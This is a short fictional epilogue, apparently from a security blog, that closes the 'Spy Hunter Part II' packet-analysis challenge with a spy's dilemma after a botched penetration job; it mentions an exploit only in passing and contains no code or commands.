Finally inside RED ONE, Kerry took stock. It was supposed to be a straightforward penetration job; a simple exploit, lift some assets, get out. It would have been so much better had the target not turned out to be his boss, his real boss. All this “need to know” nonsense just gets a man into trouble. Why hadn’t Dave told him SIBHOD had already penetrated Yellow Sun? Why wouldn’t Yellow Sun tell him who the target was? Keith Starr would never have taken the job if he’d known.

So he did the best he could. He wasn’t going to give Yellow Sun anything that would damage SIBHOD; instead he turned over part of Dave’s tasteless music collection, plus his shopping list and his IE cache. Total junk, but better than nothing. It certainly bought him a ticket out of Yellow Sun’s front door.

But what to do next? From the files he turned over to Yellow Sun, he was certain there was nothing that could link him to either Dave or SIBHOD. Keith Starr’s professional reputation would take a bit of a hit, but if he kept his mouth shut, no harm done, surely? Or perhaps he should come clean to Dave, at least to tell him to update his PDF reader. Or maybe silence is golden – SIBHOD is not an organisation that tolerates failure…

A full write up of the winning solution to the Spy Hunter Part II Packet challenge is here!


Alec Waters is responsible for all things security at Dataline Software, and can be emailed at alec.waters@dataline.co.uk

Follow

Get every new post delivered to your Inbox.

Join 33 other followers